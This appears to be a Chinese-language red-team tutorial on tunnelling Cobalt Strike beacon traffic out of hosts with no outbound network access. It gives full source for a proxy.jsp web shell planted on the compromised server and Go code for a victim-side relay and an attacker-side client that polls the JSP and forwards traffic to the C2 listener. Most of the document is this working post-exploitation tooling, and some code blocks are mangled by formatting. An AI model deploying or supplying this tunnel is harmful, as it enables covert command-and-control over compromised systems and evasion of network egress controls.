不出网上线CS 或出网但上线不了CS 都可以尝试此种方法
原理
- beacon连接并传输数据给由DReverseServer创建的端口
- DReverseServer将数据传输给proxy.jsp (proxy连接DReverseServer)
- proxy.jsp将数据传输给DReverseClint (DReverseClint连接proxy.jsp)
-
受害端
beacon(stageless)
使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应
Proxy.jsp
<%@page import="java.io.*, java.net.*" trimDirectiveWhitespaces="true"%>
<%
String HOST = "127.0.0.1";
int PORT = 64535;
//获取请求方法
String method = request.getMethod();
//检测连接是否成功
if (method == "GET"){
try{
//创建客户端的socket服务,指定127.0.0.1(本地)和64535
Socket socket = new Socket(HOST, PORT);
//接收回送消息
InputStream inSocket = socket.getInputStream();
//回送消息
OutputStream outSocket = socket.getOutputStream();
//写入连接成功标志位
String msg = "TO:CONNECT";
outSocket.write(msg.getBytes());
byte[] res = new byte[4096];
inSocket.read(res,0,4096);
out.print(new String(res));
socket.close();
}catch(java.net.ConnectException e){
}
}
//代理获取数据
if (method == "POST" && !request.getParameter("DataType").equals(null)) {
try{
Socket socket = new Socket(HOST, PORT);
socket.setSoTimeout(3000);
InputStream inSocket = socket.getInputStream();
OutputStream outSocket = socket.getOutputStream();
if (request.getParameter("DataType").equals("GetData")){
String msg = "TO:GET";
outSocket.write(msg.getBytes());
byte[] res = new byte[1046616];
try {
inSocket.read(res,0,1046616);
out.print(new String(res));
}catch(java.io.IOException e) {
out.print("NO DATA");
}
}else if (request.getParameter("DataType").equals("PostData") && !request.getParameter("Data").equals(null)){
String msg = "TO:SEND" + request.getParameter("Data");
outSocket.write(msg.getBytes());
}
outSocket.close();
socket.close();
}catch(java.net.ConnectException e){
}
}
%>
DReverseServer
net.listen创建一个服务器
Listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", port))
if err != nil {
fmt.Println("Listen error: %s", err.Error())
os.Exit(1)
}
循环监听连接accept和处理数据handleConn
for {
conn, err := Listen.Accept()
if err != nil {
continue
}
go handleConn(conn)
}
处理交互
func init() {
flag.IntVar(&port, "p", 64535, "port")
flag.IntVar(&level, "v", 0, "log level")
flag.IntVar(&timeout, "t", 10, "timeout")
flag.Parse()
}
handleConn
主要的逻辑函数为handleConn
提取数据 ```go //readsize = 4096
defer conn.Close() data, err := read(conn)
if err != nil {
return
}
/ func read(conn net.Conn) (result []byte, err error) { buf := make([]byte, readsize) for { n, err := conn.Read(buf) if err != nil || n == 0 { break } result = append(result, buf[:n]…) if n < readsize { break } } return result, err } /
//处理数据长度,数据不可以大于30
length := 30
if len(data) <= length {
length = len(data)
}
2. debug打印版信息-log
```go
/*
sendflag = "TO:SEND"
connflag = "TO:CONNECT"
getflag = "TO:GET"
level = 0
*/
switch {
//判断数据含有标志
case strings.Contains(string(data[:length]), connflag):
Println(connflag)
//cs来获取数据
case strings.Contains(string(data[:length]), getflag):
//发送bc缓存的数据
Println(getflag)
//cs来发送命令
case bytes.Contains(data[:length], []byte(sendflag)):
Println(sendflag)
default:
Println("default")
}
Println(fmt.Sprintf("%v %v", "read ", (len(data))))
Println2(data)
/*
func Println(result string) {
if level > 0 {
fmt.Println(str1, result, str1, "CsChan:", len(CsChan), "BcChan:", len(BcChan))
}
}
func Println2(data []byte) {
switch level {
case 2:
num := 1000
if len(data) > num {
fmt.Println(string(data[:num]))
} else {
fmt.Println(string(data))
}
case 3:
fmt.Println(string(data))
default:
}
}
*/
- 处理提取的信息 ```go /* noneflag = “Tk9ORQ==” sendflag = “TO:SEND” connflag = “TO:CONNECT” getflag = “TO:GET” str1 = “================” str2 = ““ timeout = 10
*/
switch { case strings.Contains(string(data[:length]), connflag): write(conn, []byte(noneflag)) //cs来获取数据 case strings.Contains(string(data[:length]), getflag): //发送bc缓存的数据 if len(BcChan) == 0 { write(conn, []byte(noneflag)) return }
tmp, ok := <-BcChan
if ok {
write(conn, []byte(tmp))
} else {
write(conn, []byte(noneflag))
}
//cs来发送数据
case bytes.Contains(data[:length], []byte(sendflag)):
Println(sendflag)
index := bytes.Index(data, []byte(sendflag))
data = data[index+len(sendflag):]
index1 := bytes.Index(data, []byte(str2))
if index1 >= 0 {
data = data[index1+len(str2):]
}
index2 := bytes.Index(data, []byte(str3))
if index2 >= 0 {
data = data[:index2]
}
CsChan <- string(data)
write(conn, []byte(noneflag))
default:
Println("default")
//接收becon数据包
BcChan <- base64.RawURLEncoding.EncodeToString(data)
start := time.Now()
//等待c2的数据包
for len(CsChan) == 0 && time.Now().Sub(start) < time.Duration(timeout)*time.Second {
}
if len(CsChan) == 0 {
fmt.Println("len cschan = 0")
write(conn, []byte(noneflag))
return
}
Println("default write")
//发送c2的数据包
tmp, ok := <-CsChan
if ok {
encoded, err := base64.RawURLEncoding.DecodeString(tmp)
if err != nil {
fmt.Println("base64decode failed: ", err)
Println2([]byte(tmp))
} else {
write1(conn, encoded)
}
return
} else {
write(conn, []byte(noneflag))
}
}
/* func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) data = append([]byte(str2), data…) data = append(data, []byte(str3)…) n, err = conn.Write(data) return }
func write1(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) n, err = conn.Write(data) return }
*/
<a name="pYksr"></a>
## C2攻击端
1. 初始化参数和代理端
```go
func init() {
flag.StringVar(&Url, "u", "http://127.0.0.1/proxy.php", "url,eg http://127.0.0.1/proxy.php")
flag.StringVar(&hostPort, "t", "127.0.0.1:64535", "c2 target,eg 127.0.0.1:64535 ")
flag.StringVar(&Proxy, "p", "", "url proxy,eg 8080")
flag.IntVar(&level, "v", 0, "log level")
flag.Parse()
InitHttpClient(Proxy, dialTimout)
}
func InitHttpClient(DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: 100 * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
return nil
}
获取数据 ```go func GetDate() {
if check(Url) {
for {
data, err := getdata(Url)
if err != nil || strings.Contains(string(data), noneflag) || len(data) == 0 || len(data) == lastlen {
lastlen = len(data)
time.Sleep(2 * time.Second)
continue
}
lastlen = len(data)
Println("getdata")
Println2(data)
index1 := bytes.Index(data, []byte(str2))
if index1 >= 0 {
data = data[index1+len(str2):]
}
index2 := bytes.Index(data, []byte(str3))
if index2 >= 0 {
data = data[:index2]
}
data1, err := base64.RawURLEncoding.DecodeString(string(data))
if err != nil {
fmt.Println("base64 err", err)
Println2(data)
continue
} else {
Println2(data1)
}
if len(data) > 0 {
SendDate(hostPort, data1, Url)
}
}
} }
func getdata(Url string) (result []byte, err error) { dataResp, err := client.Post(Url, “application/x-www-form-urlencoded”, strings.NewReader(“DataType=GetData”)) if err != nil { return } defer dataResp.Body.Close() var buf bytes.Buffer _, err = io.Copy(&buf, dataResp.Body) if err != nil { fmt.Println(“read error:”, err) return ioutil.ReadAll(dataResp.Body) } return buf.Bytes(), err }
// 数据发送模块 func SendDate(hostPort string, data []byte, url string) { Println(“senddata”) conn, err := net.DialTimeout(“tcp”, hostPort, 10*time.Second) defer conn.Close() if err != nil { fmt.Printf(“connect failed, err : %v\n”, err.Error()) return } _, err = write(conn, data) if err != nil { fmt.Printf(“write failed , err : %v\n”, err) } result, err := read(conn) //TO:SEND C2Send := []byte(“DataType=PostData&Data=” + str2 + base64.RawURLEncoding.EncodeToString(result) + str3) Println(“post”) Println2(C2Send) resp, err := client.Post(url, “application/x-www-form-urlencoded”, bytes.NewBuffer(C2Send)) if err != nil { fmt.Println(“发送数据error: “, err) return } defer resp.Body.Close() }
func check(Url string) (flag bool) { resp, err := client.Get(Url) if err != nil { fmt.Println(“check error:”, err) return } content, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() if strings.Contains(string(content), noneflag) { fmt.Println(“SUCCESS Start getting data ….”) return true } else { fmt.Println(string(content)) fmt.Println(“Please check if the script exists and runs…”) } return }
func read(conn net.Conn) (result []byte, err error) { var buf bytes.Buffer _, err = io.Copy(&buf, conn) if err != nil { fmt.Println(“read error:”, err) return } Println(fmt.Sprintf(“%v %v”, “read “, buf.Len())) Println2(buf.Bytes()) return buf.Bytes(), err }
func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, len(data))) Println2(data) n, err = conn.Write(data) return }
func Println(result string) { if level > 0 { fmt.Println(str1, result, str1) } }
func Println2(data []byte) { switch level { case 2: num := 1000 if len(data) > num { fmt.Println(string(data[:num])) } else { fmt.Println(string(data)) } case 3: fmt.Println(string(data)) default: } } ```